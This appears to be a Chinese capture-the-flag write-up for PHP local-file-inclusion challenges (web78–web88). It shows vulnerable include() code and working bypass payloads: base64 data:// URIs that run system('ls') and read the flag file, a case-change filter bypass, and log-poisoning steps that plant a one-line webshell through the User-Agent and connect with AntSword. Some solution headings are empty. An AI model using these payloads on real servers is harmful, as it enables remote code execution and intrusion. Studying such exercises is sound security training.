目录
web78
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
解法一
用include包含
解法二
web79
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
解法一
解法二
str_replace:将php替换成???,因此php伪协议不能用了,换成data协议
data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw==
<?php system('ls'); ?>#flag.php index.php
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
<?php system('cat flag.php'); ?>
web80
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
大小写绕过str_replace()
open_basedir对system等函数无效
web81
看提示
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
连:都被过滤了。用日志getshell
日志文件include
原理:对网站进行访问时,日志文件会记录相关信息(请求头中的信息)
前提:知道日志文件所在,并能进行包含
步骤:
先访问网站在请求头中写入一句话(一般写在user-agent中)
然后通过post去尝试执行
执行成功后通过蚁剑连接得到shell
从目录里面找到flag
web88
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
没有过滤:/ 可以用data协议,但要注意的是过滤了= 删去即可
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw
<?php system('ls'); ?>#flag.php index.php
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4
<?php system('cat fl0g.php'); ?>